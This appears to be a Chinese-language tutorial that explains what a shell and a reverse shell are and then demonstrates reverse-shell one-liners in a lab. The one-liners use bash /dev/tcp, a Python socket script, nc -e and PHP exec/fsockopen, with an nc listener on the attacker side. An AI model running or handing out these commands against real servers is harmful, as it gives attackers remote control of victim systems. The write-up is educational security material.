名词解释
Shell:是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务,它是用户使用 Linux 的桥梁。
作用:Shell 除了能解释用户输入的命令,将它传递给内核,还可以:
1、调用其他程序,给其他程序传递数据或参数,并获取程序的处理结果;
2、在多个程序之间传递数据,把一个程序的输出作为另一个程序的输入;
3、Shell 本身也可以被其他程序调用。
由此可见,Shell 是将内核、程序和用户连接了起来。
常见Shell类型:sh、bash、csh、tcsh、ash 等。
进入今天的正题
反弹Shell:简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80
,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell
指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。
反弹Shell实验
受害端执行生成一个反弹Shell:bash -i >& /dev/tcp/ip/port 0>&1
执行完命令之后再回到攻击端CentOS机器上面查看,可以看到shell成功反弹,这时候我们就能对服务器进行远程操控了。
方法2:使用Python命令反弹Shell
攻击端使用nc监听一个端口:nc -lvp port
受害端执行生成一个反弹Shell:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
执行完命令之后再回到攻击端CentOS机器上面查看,可以看到shell成功反弹,这时候我们就能对服务器进行远程操控了。
方法3:使用nc命令反弹Shell
攻击端使用nc监听一个端口:nc -lvp port
受害端执行生成一个反弹Shell:nc -e /bin/bash ip port
执行完命令之后再回到攻击端CentOS机器上面查看,发现没有反弹回Shell。这里先留个坑。。。。。。
方法4:使用php函数命令反弹Shell,具体操作方法同上。(因未安装php环境,暂不做演示)
1).使用php
的exec
函数执行方法1反弹shell的命令
php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port");'
2).使用php
的fsockopen
去连接远程
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'